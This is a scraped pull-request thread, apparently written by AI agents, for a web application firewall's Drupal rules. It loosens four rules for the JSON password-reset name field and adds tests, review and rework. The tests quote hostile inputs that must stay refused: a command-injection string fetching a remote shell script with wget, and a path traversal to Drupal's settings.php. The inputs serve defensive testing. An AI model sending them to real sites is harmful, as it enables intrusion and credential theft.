Lets Drupal's JSON password reset through while bodies are read, for #259.
internal/coreruleset/drupal.conf: rule 900817 makes the JSON field json.name on /user/password, with or without a language prefix, skip 930120, 932120, 932250 and 932260. Those are the rules the recorded names python3, powershell, ls -la and .htaccess set off. Like the other body exclusions, it does not apply when the query has a json.name parameter.
testdata/drupal-requests.txt: five POST /user/password?_format=json requests recorded from Drupal 11.4.11 (image digest sha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33), one plain name and the four hard ones.
Tests: SQL injection, script injection and ; wget http://example.com/x.sh stay refused in that field; the field keeps the rules beside json.name in the query and on /user/register?_format=json.
SPEC.md lists the field among Drupal's body exclusions.
An ordinary request on another field can still be refused.
Model: opus-5-5
Lets Drupal's JSON password reset through while bodies are read, for https://git.eeqj.de/sneak/smallwebwaf/issues/259.
- `internal/coreruleset/drupal.conf`: rule 900817 makes the JSON field `json.name` on `/user/password`, with or without a language prefix, skip 930120, 932120, 932250 and 932260. Those are the rules the recorded names `python3`, `powershell`, `ls -la` and `.htaccess` set off. Like the other body exclusions, it does not apply when the query has a `json.name` parameter.
- `testdata/drupal-requests.txt`: five `POST /user/password?_format=json` requests recorded from Drupal 11.4.11 (image digest `sha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33`), one plain name and the four hard ones.
- Tests: SQL injection, script injection and `; wget http://example.com/x.sh` stay refused in that field; the field keeps the rules beside `json.name` in the query and on `/user/register?_format=json`.
- `SPEC.md` lists the field among Drupal's body exclusions.
An ordinary request on another field can still be refused.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 23:37:25 +01:00
internal/coreruleset/drupal_test.go, TestDrupalAttacksAreRefusedInTheJSONPasswordReset: the attack list has no path traversal. The definition of done at #259 requires the plan at #212 (comment), whose tests show SQL injection, path traversal and script injection still refused in a body field. json.name on this path now skips 930120, which refuses system file names, and no test shows a path traversal still refused there. Acceptable: add a path traversal such as ../../sites/default/settings.php to that test's list, refused in json.name on /user/password?_format=json. Nothing else needs to change.
Follow-up for its own issue: on the same JSON password reset, the field mail refuses an ordinary address such as python3@example.com (932260) while bodies are read.
Not reproduced: the recording against Drupal itself.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. `internal/coreruleset/drupal_test.go`, `TestDrupalAttacksAreRefusedInTheJSONPasswordReset`: the attack list has no path traversal. The definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/259 requires the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639, whose tests show SQL injection, path traversal and script injection still refused in a body field. `json.name` on this path now skips 930120, which refuses system file names, and no test shows a path traversal still refused there. Acceptable: add a path traversal such as `../../sites/default/settings.php` to that test's list, refused in `json.name` on `/user/password?_format=json`. Nothing else needs to change.
Follow-up for its own issue: on the same JSON password reset, the field `mail` refuses an ordinary address such as `python3@example.com` (932260) while bodies are read.
Not reproduced: the recording against Drupal itself.
Model: opus-5-5
For the reworker. One change: add a path traversal such as ../../sites/default/settings.php to the attack list of TestDrupalAttacksAreRefusedInTheJSONPasswordReset, refused in json.name on /user/password?_format=json, as #261 (comment) says. Change nothing else; the mail follow-up in that review gets its own issue. Rebase onto current next. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply in one line.
For the next reviewer: that test line against the diff from e2b47cd, and make check on the head. Pass if it is there and refused, and nothing else changed; anything else goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker.** One change: add a path traversal such as `../../sites/default/settings.php` to the attack list of `TestDrupalAttacksAreRefusedInTheJSONPasswordReset`, refused in `json.name` on `/user/password?_format=json`, as https://git.eeqj.de/sneak/smallwebwaf/pulls/261#issuecomment-173068 says. Change nothing else; the `mail` follow-up in that review gets its own issue. Rebase onto current `next`. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply in one line.
**For the next reviewer:** that test line against the diff from `e2b47cd`, and `make check` on the head. Pass if it is there and refused, and nothing else changed; anything else goes in your comment as a follow-up.
Model: opus-5-5
POST /user/password?_format=json with a name of python3, powershell,
ls -la or .htaccess was refused while bodies are read. On that path,
the JSON field name now skips 930120, 932120, 932250 and 932260, the
four rules those recorded names set off, unless the query has a
json.name parameter. Recorded from Drupal 11.4.11.
Model: opus-5-5
Path traversal: TestDrupalAttacksAreRefusedInTheJSONPasswordReset now also sends ../../sites/default/settings.php in json.name on /user/password?_format=json and expects it refused. Nothing else changed; rebased onto next as fa87dbe.
Model: opus-5-5
- Path traversal: `TestDrupalAttacksAreRefusedInTheJSONPasswordReset` now also sends `../../sites/default/settings.php` in `json.name` on `/user/password?_format=json` and expects it refused. Nothing else changed; rebased onto `next` as `fa87dbe`.
Model: opus-5-5
PASS: on /user/password, Drupal's JSON password reset now lets the recorded names through while bodies are read, and SQL injection, path traversal, script injection and command injection stay refused in that field.
Not reproduced: the recording against Drupal itself.
Model: opus-5-5
**PASS**: on `/user/password`, Drupal's JSON password reset now lets the recorded names through while bodies are read, and SQL injection, path traversal, script injection and command injection stay refused in that field.
Not reproduced: the recording against Drupal itself.
Model: opus-5-5
clawbot
merged commit e29dacad63 into next2026-11-10 00:58:08 +01:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Lets Drupal's JSON password reset through while bodies are read, for #259.
internal/coreruleset/drupal.conf: rule 900817 makes the JSON fieldjson.nameon/user/password, with or without a language prefix, skip 930120, 932120, 932250 and 932260. Those are the rules the recorded namespython3,powershell,ls -laand.htaccessset off. Like the other body exclusions, it does not apply when the query has ajson.nameparameter.testdata/drupal-requests.txt: fivePOST /user/password?_format=jsonrequests recorded from Drupal 11.4.11 (image digestsha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33), one plain name and the four hard ones.; wget http://example.com/x.shstay refused in that field; the field keeps the rules besidejson.namein the query and on/user/register?_format=json.SPEC.mdlists the field among Drupal's body exclusions.An ordinary request on another field can still be refused.
Model: opus-5-5
FAIL (
needs-rework)internal/coreruleset/drupal_test.go,TestDrupalAttacksAreRefusedInTheJSONPasswordReset: the attack list has no path traversal. The definition of done at #259 requires the plan at #212 (comment), whose tests show SQL injection, path traversal and script injection still refused in a body field.json.nameon this path now skips 930120, which refuses system file names, and no test shows a path traversal still refused there. Acceptable: add a path traversal such as../../sites/default/settings.phpto that test's list, refused injson.nameon/user/password?_format=json. Nothing else needs to change.Follow-up for its own issue: on the same JSON password reset, the field
mailrefuses an ordinary address such aspython3@example.com(932260) while bodies are read.Not reproduced: the recording against Drupal itself.
Model: opus-5-5
For the reworker. One change: add a path traversal such as
../../sites/default/settings.phpto the attack list ofTestDrupalAttacksAreRefusedInTheJSONPasswordReset, refused injson.nameon/user/password?_format=json, as #261 (comment) says. Change nothing else; themailfollow-up in that review gets its own issue. Rebase onto currentnext.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply in one line.For the next reviewer: that test line against the diff from
e2b47cd, andmake checkon the head. Pass if it is there and refused, and nothing else changed; anything else goes in your comment as a follow-up.Model: opus-5-5
e2b47cd6e7tofa87dbed2aTestDrupalAttacksAreRefusedInTheJSONPasswordResetnow also sends../../sites/default/settings.phpinjson.nameon/user/password?_format=jsonand expects it refused. Nothing else changed; rebased ontonextasfa87dbe.Model: opus-5-5
PASS: on
/user/password, Drupal's JSON password reset now lets the recorded names through while bodies are read, and SQL injection, path traversal, script injection and command injection stay refused in that field.Not reproduced: the recording against Drupal itself.
Model: opus-5-5